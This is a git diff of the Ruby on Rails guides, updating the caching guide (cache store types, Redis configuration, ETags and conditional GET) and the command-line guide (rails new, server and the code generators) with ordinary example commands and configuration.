-* `:compress_threshold` - This option is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+* `:size` - This option sets the number of connections per process (defaults to 5).
 
-* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
+* `:timeout` - This option sets the number of seconds to wait for a connection (defaults to 5). If no connection is available within the timeout, a `Timeout::Error` will be raised.
 
-* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option.
+### `ActiveSupport::Cache::Store`
 
-#### Custom Cache Stores
+[`ActiveSupport::Cache::Store`][] provides the foundation for interacting with the cache in Rails. This is an abstract class, and you cannot use it on its own. Instead, you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations, documented below.
 
-You can create your own custom cache store by simply extending
-`ActiveSupport::Cache::Store` and implementing the appropriate methods. This way,
-you can swap in any number of caching technologies into your Rails application.
+The main API methods are [`read`][ActiveSupport::Cache::Store#read], [`write`][ActiveSupport::Cache::Store#write], [`delete`][ActiveSupport::Cache::Store#delete], [`exist?`][ActiveSupport::Cache::Store#exist?], and [`fetch`][ActiveSupport::Cache::Store#fetch].
 
-To use a custom cache store, simply set the cache store to a new instance of your
-custom class.
+Options passed to the cache store's constructor will be treated as default options for the appropriate API methods.
 
-```ruby
-config.cache_store = MyCacheStore.new
-```
+[`ActiveSupport::Cache::Store`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html
+[ActiveSupport::Cache::Store#delete]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-delete
+[ActiveSupport::Cache::Store#exist?]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-exist-3F
+[ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch
+[ActiveSupport::Cache::Store#read]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-read
+[ActiveSupport::Cache::Store#write]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-write
 
-### ActiveSupport::Cache::MemoryStore
+### `ActiveSupport::Cache::MemoryStore`
 
-This cache store keeps entries in memory in the same Ruby process. The cache
+[`ActiveSupport::Cache::MemoryStore`][] keeps entries in memory in the same Ruby process. The cache
 store has a bounded size specified by sending the `:size` option to the
 initializer (default is 32Mb). When the cache exceeds the allotted size, a
 cleanup will occur and the least recently used entries will be removed.
@@ -387,47 +650,141 @@ store is not appropriate for large application deployments. However, it can
 work well for small, low traffic sites with only a couple of server processes,
 as well as development and test environments.
 
-### ActiveSupport::Cache::FileStore
+New Rails projects are configured to use this implementation in the development environment by default.
+
+NOTE: Since processes will not share cache data when using `:memory_store`,
+it will not be possible to manually read, write, or expire the cache via the Rails console.
 
-This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
+[`ActiveSupport::Cache::MemoryStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html
+
+### `ActiveSupport::Cache::FileStore`
+
+[`ActiveSupport::Cache::FileStore`][] uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
 
 ```ruby
 config.cache_store = :file_store, "/path/to/cache/directory"
 ```
 
 With this cache store, multiple server processes on the same host can share a
-cache. The cache store is appropriate for low to medium traffic sites that are
+cache. This cache store is appropriate for low to medium traffic sites that are
 served off one or two hosts. Server processes running on different hosts could
 share a cache by using a shared file system, but that setup is not recommended.
 
 As the cache will grow until the disk is full, it is recommended to
 periodically clear out old entries.
 
-This is the default cache store implementation.
 
-### ActiveSupport::Cache::MemCacheStore
+[`ActiveSupport::Cache::FileStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html
 
-This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.
+### `ActiveSupport::Cache::MemCacheStore`
 
-When initializing the cache, you need to specify the addresses for all
-memcached servers in your cluster. If none are specified, it will assume
-memcached is running on localhost on the default port, but this is not an ideal
-setup for larger sites.
+[`ActiveSupport::Cache::MemCacheStore`][] uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.
 
-The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operations like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry.
+When initializing the cache, you should specify the addresses for all memcached servers in your cluster, or ensure the `MEMCACHE_SERVERS` environment variable has been set appropriately.
 
 ```ruby
 config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
 ```
 
-### ActiveSupport::Cache::NullStore
+If neither are specified, it will assume memcached is running on localhost on the default port (`127.0.0.1:11211`), but this is not an ideal setup for larger sites.
+
+```ruby
+config.cache_store = :mem_cache_store # Will fallback to $MEMCACHE_SERVERS, then 127.0.0.1:11211
+```
+
+See the [`Dalli::Client` documentation](https://www.rubydoc.info/gems/dalli/Dalli/Client#initialize-instance_method) for supported address types.
+
+The [`write`][ActiveSupport::Cache::MemCacheStore#write] (and `fetch`) method on this cache accepts additional options that take advantage of features specific to memcached.
+
+[`ActiveSupport::Cache::MemCacheStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html
+[ActiveSupport::Cache::MemCacheStore#write]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html#method-i-write
+
+### `ActiveSupport::Cache::RedisCacheStore`
+
+[`ActiveSupport::Cache::RedisCacheStore`][] takes advantage of Redis support for automatic eviction
+when it reaches max memory, allowing it to behave much like a Memcached cache server.
+
+Deployment note: Redis doesn't expire keys by default, so take care to use a
+dedicated Redis cache server. Don't fill up your persistent-Redis server with
+volatile cache data! Read the
+[Redis cache server setup guide](https://redis.io/topics/lru-cache) in detail.
+
+For a cache-only Redis server, set `maxmemory-policy` to one of the variants of allkeys.
+Redis 4+ supports least-frequently-used eviction (`allkeys-lfu`), an excellent
+default choice. Redis 3 and earlier should use least-recently-used eviction (`allkeys-lru`).
+
+Set cache read and write timeouts relatively low. Regenerating a cached value
+is often faster than waiting more than a second to retrieve it. Both read and
+write timeouts default to 1 second, but may be set lower if your network is
+consistently low-latency.
+
+By default, the cache store will attempt to reconnect to Redis once if the
+connection fails during a request.
+
+Cache reads and writes never raise exceptions; they just return `nil` instead,
+behaving as if there was nothing in the cache. To gauge whether your cache is
+hitting exceptions, you may provide an `error_handler` to report to an
+exception gathering service. It must accept three keyword arguments: `method`,
+the cache store method that was originally called; `returning`, the value that
+was returned to the user, typically `nil`; and `exception`, the exception that
+was rescued.
+
+To get started, add the redis gem to your Gemfile:
+
+```ruby
+gem "redis"
+```
+
+Finally, add the configuration in the relevant `config/environments/*.rb` file:
+
+```ruby
+config.cache_store = :redis_cache_store, { url: ENV["REDIS_URL"] }
+```
+
+A more complex, production Redis cache store may look something like this:
+
+```ruby
+cache_servers = %w(redis://cache-01:6379/0 redis://cache-02:6379/0)
+config.cache_store = :redis_cache_store, { url: cache_servers,
+
+  connect_timeout:    30,  # Defaults to 1 second
+  read_timeout:       0.2, # Defaults to 1 second
+  write_timeout:      0.2, # Defaults to 1 second
+  reconnect_attempts: 2,   # Defaults to 1
+
+  error_handler: -> (method:, returning:, exception:) {
+    # Report errors to Sentry as warnings
+    Sentry.capture_exception exception, level: "warning",
+      tags: { method: method, returning: returning }
+  }
+}
+```
+
+[`ActiveSupport::Cache::RedisCacheStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html
+
+### `ActiveSupport::Cache::NullStore`
 
-This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache` but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.
+[`ActiveSupport::Cache::NullStore`][] is scoped to each web request, and clears stored values at the end of a request. It is meant for use in development and test environments. It can be very useful when you have code that interacts directly with `Rails.cache` but caching interferes with seeing the results of code changes.
 
 ```ruby
 config.cache_store = :null_store
 ```
 
+[`ActiveSupport::Cache::NullStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/NullStore.html
+
+### Custom Cache Stores
+
+You can create your own custom cache store by simply extending
+`ActiveSupport::Cache::Store` and implementing the appropriate methods. This way,
+you can swap in any number of caching technologies into your Rails application.
+
+To use a custom cache store, simply set the cache store to a new instance of your
+custom class.
+
+```ruby
+config.cache_store = MyCacheStore.new
+```
+
 Cache Keys
 ----------
 
@@ -439,7 +796,7 @@ and record id.
 You can use Hashes and Arrays of values as cache keys.
 
 ```ruby
-# This is a legal cache key
+# This is a valid cache key
 Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
 ```
 
@@ -450,24 +807,23 @@ values with `Rails.cache` and then try to pull them out with the `dalli` gem.
 However, you also don't need to worry about exceeding the memcached size limit or
 violating syntax rules.
 
-Conditional GET support
+Conditional GET Support
 -----------------------
 
 Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
 
-They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (ETag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.
 
 It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
 
 ```ruby
 class ProductsController < ApplicationController
-
   def show
     @product = Product.find(params[:id])
 
     # If the request is stale according to the given timestamp and etag value
     # (i.e. it needs to be processed again) then execute this block
-    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key_with_version)
       respond_to do |wants|
         # ... normal response processing
       end
@@ -481,7 +837,7 @@ class ProductsController < ApplicationController
 end
 ```
 
-Instead of an options hash, you can also simply pass in a model. Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+Instead of an options hash, you can also simply pass in a model. Rails will use the `updated_at` and `cache_key_with_version` methods for setting `last_modified` and `etag`:
 
 ```ruby
 class ProductsController < ApplicationController
@@ -501,7 +857,6 @@ If you don't have any special response processing and are using the default rend
 
 ```ruby
 class ProductsController < ApplicationController
-
   # This will automatically send back a :not_modified if the request is fresh,
   # and will render the default template (product.*) if it's stale.
 
@@ -512,6 +867,10 @@ class ProductsController < ApplicationController
 end
 ```
 
+When both `last_modified` and `etag` are set, behavior varies depending on the value of `config.action_dispatch.strict_freshness`.
+If set to `true`, only the `etag` is considered as specified by RFC 7232 section 6.
+If set to `false`, both are considered and the cache is considered fresh if both conditions are satisfied, as was the historical Rails behavior.
+
 Sometimes we want to cache response, for example a static page, that never gets
 expired. To achieve this, we can use `http_cache_forever` helper and by doing
 so browser and proxies will cache it indefinitely.
@@ -546,8 +905,8 @@ response body.
 Weak ETags have a leading `W/` to differentiate them from strong ETags.
 
 ```
-  W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag
-  "618bbc92e2d35ea1945008b42799b0e7" → Strong ETag
+W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag
+"618bbc92e2d35ea1945008b42799b0e7" → Strong ETag
 ```
 
 Unlike weak ETag, strong ETag implies that response should be exactly the same
@@ -556,22 +915,16 @@ large video or PDF file. Some CDNs support only strong ETags, like Akamai.
 If you absolutely need to generate a strong ETag, it can be done as follows.
 
 ```ruby
-  class ProductsController < ApplicationController
-    def show
-      @product = Product.find(params[:id])
-      fresh_when last_modified: @product.published_at.utc, strong_etag: @product
-    end
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, strong_etag: @product
   end
+end
 ```
 
 You can also set the strong ETag directly on the response.
 
 ```ruby
-  response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"
+response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"
 ```
-
-References
-----------
-
-* [DHH's article on key-based expiration](https://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works)
-* [Ryan Bates' Railscast on cache digests](http://railscasts.com/episodes/387-cache-digests)
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
index c8d559745e314..d61e24e946484 100644
--- a/guides/source/command_line.md
+++ b/guides/source/command_line.md
@@ -1,43 +1,150 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON
+<https://guides.rubyonrails.org>.**
 
 The Rails Command Line
 ======================
 
-After reading this guide, you will know:
+After reading this guide, you will know how to use the Rails command line:
 
-* How to create a Rails application.
-* How to generate models, controllers, database migrations, and unit tests.
-* How to start a development server.
-* How to experiment with objects through an interactive shell.
+* To create a Rails application.
+* To generate models, controllers, tests, and database migrations.
+* To start a development server.
+* To inspect a Rails application through an interactive shell.
+* To add and edit credentials.
 
 --------------------------------------------------------------------------------
 
-NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html).
+Overview
+--------
 
-Command Line Basics
--------------------
+The Rails command line is a powerful part of the Ruby on Rails framework. It
+allows you to quickly start a new application by generating boilerplate code
+(that follows Rails conventions). This guide includes an overview of Rails
+commands that allow you to manage all aspects of your web application, including
+the database.
 
-There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+You can get a list of commands available to you, which will often depend on your
+current directory, by typing `bin/rails --help`. Each command has a description
+to help clarify what it does.
 
-* `rails console`
-* `rails server`
-* `bin/rails`
-* `rails generate`
-* `rails dbconsole`
+```bash
+$ bin/rails --help
+Usage:
+  bin/rails COMMAND [options]
+
+You must specify a command. The most common commands are:
+
+  generate     Generate new code (short-cut alias: "g")
+  console      Start the Rails console (short-cut alias: "c")
+  server       Start the Rails server (short-cut alias: "s")
+  test         Run tests except system tests (short-cut alias: "t")
+  test:system  Run system tests
+  dbconsole    Start a console for the database specified in config/database.yml
+               (short-cut alias: "db")
+  plugin new   Create a new Rails railtie or engine
+
+All commands can be run with -h (or --help) for more information.
+```
+
+The output of `bin/rails --help` then proceeds to list all commands in
+alphabetical order, with a short description of each:
+
+```bash
+In addition to those commands, there are:
+about                              List versions of all Rails frameworks ...
+action_mailbox:ingress:exim        Relay an inbound email from Exim to ...
+action_mailbox:ingress:postfix     Relay an inbound email from Postfix ...
+action_mailbox:ingress:qmail       Relay an inbound email from Qmail to ...
+action_mailbox:install             Install Action Mailbox and its ...
+...
+db:fixtures:load                   Load fixtures into the ...
+db:migrate                         Migrate the database ...
+db:migrate:status                  Display status of migrations
+db:rollback                        Roll the schema back to ...
+...
+turbo:install                      Install Turbo into the app
+turbo:install:bun                  Install Turbo into the app with bun
+turbo:install:importmap            Install Turbo into the app with asset ...
+turbo:install:node                 Install Turbo into the app with webpacker
+turbo:install:redis                Switch on Redis and use it in development
+version                            Show the Rails version
+yarn:install                       Install all JavaScript dependencies as ...
+zeitwerk:check                     Check project structure for Zeitwerk ...
+```
+
+In addition to `bin/rails --help`, running any command from the list above with
+the `--help` flag can also be useful. For example, you can learn about the
+options that can be used with `bin/rails routes`:
+
+```bash
+$ bin/rails routes --help
+Usage:
+  bin/rails routes
+
+Options:
+  -c, [--controller=CONTROLLER]      # Filter by a specific controller, e.g. PostsController or Admin::PostsController.
+  -g, [--grep=GREP]                  # Grep routes by a specific pattern.
+  -E, [--expanded], [--no-expanded]  # Print routes expanded vertically with parts explained.
+  -u, [--unused], [--no-unused]      # Print unused routes.
+
+List all the defined routes
+```
+
+Most Rails command line subcommands can be run with `--help` (or `-h`) and the
+output can be very informative. For example `bin/rails generate model --help`
+prints two pages of description, in addition to usage and options:
+
+```bash
+$ bin/rails generate model --help
+Usage:
+  bin/rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+Options:
+...
+Description:
+    Generates a new model. Pass the model name, either CamelCased or
+    under_scored, and an optional list of attribute pairs as arguments.
+
+    Attribute pairs are field:type arguments specifying the
+    model's attributes. Timestamps are added by default, so you don't have to
+    specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+    As a special case, specifying 'password:digest' will generate a
+    password_digest field of string type, and configure your generated model and
+    tests for use with Active Model has_secure_password (assuming the default ORM and test framework are being used).
+    ...
+```
+
+Some of the most commonly used commands are:
+
+* `bin/rails console`
+* `bin/rails server`
+* `bin/rails test`
+* `bin/rails generate`
+* `bin/rails db:migrate`
+* `bin/rails db:create`
+* `bin/rails routes`
+* `bin/rails dbconsole`
 * `rails new app_name`
 
-All commands can run with `-h` or `--help` to list more information.
+We'll cover the above commands (and more) in the following sections, starting
+with the command for creating a new application.
 
-Let's create a simple Rails application to step through each of these commands in context.
+Creating a New Rails Application
+--------------------------------
 
-### `rails new`
+We can create a brand new Rails application using the `rails new` command.
 
-The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails.
+INFO: You will need the rails gem installed in order to run the `rails new`
+command. You can do this by typing `gem install rails` - for more step-by-step
+instructions, see the [Installing Ruby on Rails](install_ruby_on_rails.html)
+guide.
 
-INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already.
+With the `new` command, Rails will set up the entire default directory structure
+along with all the code needed to run a sample application right out of the box.
+The first argument to `rails new` is the application name:
 
 ```bash
-$ rails new commandsapp
+$ rails new my_app
      create
      create  README.md
      create  Rakefile
@@ -51,101 +158,208 @@ $ rails new commandsapp
         run  bundle install
 ```
 
-Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+You can pass options to the `new` command to modify its default behavior. You
+can also create [application templates](generators.html#application-templates)
+and use them with the `new` command.
+
+### Configure a Different Database
+
+When creating a new Rails application, you can specify a preferred database for
+your application by using the `--database` option. The default database for
+`rails new` is SQLite. For example, you can set up a PostgreSQL database like
+this:
+
+```bash
+$ rails new booknotes --database=postgresql
+      create
+      create  app/controllers
+      create  app/helpers
+...
+```
+
+The main difference is the content of the `config/database.yml` file. With the
+PostgreSQL option, it looks like this:
+
+```yaml
+# PostgreSQL. Versions 9.3 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On macOS with Homebrew:
+#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem "pg"
+#
+default: &default
+  adapter: postgresql
+  encoding: unicode
+  # For details on connection pooling, see Rails configuration guide
+  # https://guides.rubyonrails.org/configuring.html#database-pooling
+  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 3 } %>
+
+
+development:
+  <<: *default
+  database: booknotes_development
+  ...
+```
+
+The `--database=postgresql` option will also modify other files generated for a
+new Rails app appropriately, such as adding the `pg` gem to the `Gemfile`, etc.
+
+### Skipping Defaults
+
+The `rails new` command by default creates dozens of files. By using the
+`--skip` option, you can skip some files from being generated if you don't need
+them. For example,
+
+```bash
+$ rails new no_storage --skip-active-storage
+Based on the specified options, the following options will also be activated:
+
+  --skip-action-mailbox [due to --skip-active-storage]
+  --skip-action-text [due to --skip-active-storage]
+
+      create
+      create  README.md
+      ...
+```
 
-### `rails server`
+In the above example, Action Mailbox and Action Text are skipped in addition to
+Active Storage because they depend on Active Storage functionality.
 
-The `rails server` command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser.
+TIP: You can get a full list of what can be skipped in the options section of
+`rails new --help` command.
 
-With no further work, `rails server` will run our new shiny Rails app:
+Starting a Rails Application Server
+-----------------------------------
+
+We can start a Rails application using the `bin/rails server` command, which
+launches the [Puma](https://github.com/puma/puma) web server that comes bundled
+with Rails. You'll use this any time you want to access your application through
+a web browser.
 
 ```bash
-$ cd commandsapp
+$ cd my_app
 $ bin/rails server
 => Booting Puma
-=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
-=> Run `rails server -h` for more startup options
+=> Rails 8.2.0 application starting in development
+=> Run `bin/rails server --help` for more startup options
 Puma starting in single mode...
-* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas
-* Min threads: 5, max threads: 5
-* Environment: development
-* Listening on tcp://localhost:3000
+* Puma version: 6.4.0 (ruby 3.1.3-p185) ("The Eagle of Durango")
+*  Min threads: 3
+*  Max threads: 3
+*  Environment: development
+*          PID: 5295
+* Listening on http://127.0.0.1:3000
+* Listening on http://[::1]:3000
 Use Ctrl-C to stop
 ```
 
-With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
+With just two commands we have a Rails application up and running. The `server`
+command starts the application listening on port 3000 by default. You can open
+your browser to [http://localhost:3000](http://localhost:3000) to see a basic
+Rails application running.
 
-INFO: You can also use the alias "s" to start the server: `rails s`.
+INFO: Most common commands have a shortcut aliases. To start the server you can
+use the alias "s": `bin/rails s`.
 
-The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
+You can run the application on a different port using the `-p` option. You can
+also change the environment using `-e` (default is `development`).
 
 ```bash
 $ bin/rails server -e production -p 4000
 ```
 
-The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option.
+The `-b` option binds Rails to the specified IP address, by default it is
+localhost. You can run a server as a daemon by passing a `-d` option.
 
-### `rails generate`
+Generating Code
+---------------
 
-The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators:
+You can use the `bin/rails generate` command to generate a number of different
+files and add functionality to your application, such as models, controllers,
+and full scaffolds.
 
-INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
+To see a list of built-in generators, you can run `bin/rails generate` (or
+`bin/rails g` for short) without any arguments. It lists all available
+generators after the usage. You can also learn more about what a specific
+generator will do by using the `--pretend` option.
 
 ```bash
 $ bin/rails generate
-Usage: rails generate GENERATOR [args] [options]
+Usage:
+  bin/rails generate GENERATOR [args] [options]
 
-...
-...
+General options:
+  -h, [--help]     # Print generator's options and usage
+  -p, [--pretend]  # Run but do not make any changes
+  -f, [--force]    # Overwrite files that already exist
+  -s, [--skip]     # Skip files that already exist
+  -q, [--quiet]    # Suppress status output
 
 Please choose a generator below.
-
 Rails:
-  assets
+  application_record
+  benchmark
+  channel
   controller
   generator
-  ...
-  ...
+  helper
+...
 ```
 
-NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+NOTE: When you add certain gems to your application, they may install more
+generators. You can also create your own generators, see the [Generators
+guide](generators.html) for more information.
+
+The purpose of Rails' built-in generators is to save you time by freeing you
+from having to write repetitive boilerplate code.
 
-Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work.
+Let's add a controller with the `controller` generator.
 
-Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+### Generating Controllers
 
-INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
+We can find out exactly how to use the `controller` generator with the
+`bin/rails generate controller` command (which is the same as using it with
+`--help`). There is a "Usage" section and even an example:
 
 ```bash
 $ bin/rails generate controller
-Usage: rails generate controller NAME [action action] [options]
-
-...
+Usage:
+  bin/rails generate controller NAME [action action] [options]
 ...
+Examples:
+    `bin/rails generate controller credit_cards open debit credit close`
 
-Description:
-    ...
-
-    To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.
-
-    ...
-
-Example:
-    `rails generate controller CreditCards open debit credit close`
-
-    Credit card controller with URLs like /credit_cards/debit.
+    This generates a `CreditCardsController` with routes like /credit_cards/debit.
         Controller: app/controllers/credit_cards_controller.rb
         Test:       test/controllers/credit_cards_controller_test.rb
         Views:      app/views/credit_cards/debit.html.erb [...]
         Helper:     app/helpers/credit_cards_helper.rb
+
+    `bin/rails generate controller users index --skip-routes`
+
+    This generates a `UsersController` with an index action and no routes.
+
+    `bin/rails generate controller admin/dashboard --parent=admin_controller`
+
+    This generates a `Admin::DashboardController` with an `AdminController` parent class.
 ```
 
-The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
+The controller generator is expecting parameters in the form of `generate
+controller ControllerName action1 action2`. Let's make a `Greetings` controller
+with an action of `hello`, which will say something nice to us.
 
 ```bash
 $ bin/rails generate controller Greetings hello
      create  app/controllers/greetings_controller.rb
-      route  get "greetings/hello"
+      route  get 'greetings/hello'
      invoke  erb
      create    app/views/greetings
      create    app/views/greetings/hello.html.erb
@@ -153,16 +367,15 @@ $ bin/rails generate controller Greetings hello
      create    test/controllers/greetings_controller_test.rb
      invoke  helper
      create    app/helpers/greetings_helper.rb
-     invoke  assets
-     invoke    coffee
-     create      app/assets/javascripts/greetings.coffee
-     invoke    scss
-     create      app/assets/stylesheets/greetings.scss
+     invoke    test_unit
 ```
 
-What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
+The above command created various files at specific directories. It created a
+controller file, a view file, a functional test file, a helper for the view, and
+added a route.
 
-Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):
+To test out the new controller, we can modify the `hello` action and the view to
+display a message:
 
 ```ruby
 class GreetingsController < ApplicationController
@@ -172,387 +385,1003 @@ class GreetingsController < ApplicationController
 end
 ```
 
-Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
-
-```erb
+```html+erb
 <h1>A Greeting for You!</h1>
 <p><%= @message %></p>
 ```
 
-Fire up your server using `rails server`.
-
-```bash
-$ bin/rails server
-=> Booting Puma...
-```
+Then, we can start the Rails server, with `bin/rails server`, and go to the
+added route
+[http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello)
+to see the message.
 
-The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello).
+Now let's use the generator to add models to our application.
 
-INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller.
+### Generating Models
 
-Rails comes with a generator for data models too.
+The Rails model generator command has a very detailed "Description" section that
+is worth reading. Here is the basic usage:
 
 ```bash
 $ bin/rails generate model
 Usage:
-  rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
-
+  bin/rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
 ...
+```
 
-Active Record options:
-      [--migration]            # Indicates when to generate migration
-                               # Default: true
-
-...
+As an example, we can generate a `post` model like this:
 
-Description:
-    Create rails files for model generator.
+```bash
+$ bin/rails generate model post title:string body:text
+    invoke  active_record
+    create    db/migrate/20250807202154_create_posts.rb
+    create    app/models/post.rb
+    invoke    test_unit
+    create      test/models/post_test.rb
+    create      test/fixtures/posts.yml
 ```
 
-NOTE: For a list of available field types for the `type` parameter, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) for the add_column method for the `SchemaStatements` module. The `index` parameter generates a corresponding index for the column.
+The model generator adds test files as well as a migration, which you'll need to
+run with `bin/rails db:migrate`.
+
+NOTE: For a list of available field types for the `type` parameter, refer to the
+[API
+documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column).
+The `index` parameter generates a corresponding index for the column. If you
+don't specify a type for a field, Rails will default to type `string`.
+
+In addition to generating controllers and models separately, Rails also provides
+generators that add code for both at once as well as other files needed for a
+standard CRUD resource. There are two generator commands that do this:
+`resource` and `scaffold`. The `resource` command is more lightweight than
+`scaffold` and generates less code.
 
-But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+### Generating Resources
 
-We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+The `bin/rails generate resource` command generates model, migration, empty
+controller, routes, and tests. It does not generate views and it does not fill
+in the controller with CRUD methods.
+
+Here are all the files generated with the `resource` command for `post`:
 
 ```bash
-$ bin/rails generate scaffold HighScore game:string score:integer
-    invoke  active_record
-    create    db/migrate/20130717151933_create_high_scores.rb
-    create    app/models/high_score.rb
-    invoke    test_unit
-    create      test/models/high_score_test.rb
-    create      test/fixtures/high_scores.yml
-    invoke  resource_route
-     route    resources :high_scores
-    invoke  scaffold_controller
-    create    app/controllers/high_scores_controller.rb
-    invoke    erb
-    create      app/views/high_scores
-    create      app/views/high_scores/index.html.erb
-    create      app/views/high_scores/edit.html.erb
-    create      app/views/high_scores/show.html.erb
-    create      app/views/high_scores/new.html.erb
-    create      app/views/high_scores/_form.html.erb
-    invoke    test_unit
-    create      test/controllers/high_scores_controller_test.rb
-    invoke    helper
-    create      app/helpers/high_scores_helper.rb
-    invoke    jbuilder
-    create      app/views/high_scores/index.json.jbuilder
-    create      app/views/high_scores/show.json.jbuilder
-    invoke  assets
-    invoke    coffee
-    create      app/assets/javascripts/high_scores.coffee
-    invoke    scss
-    create      app/assets/stylesheets/high_scores.scss
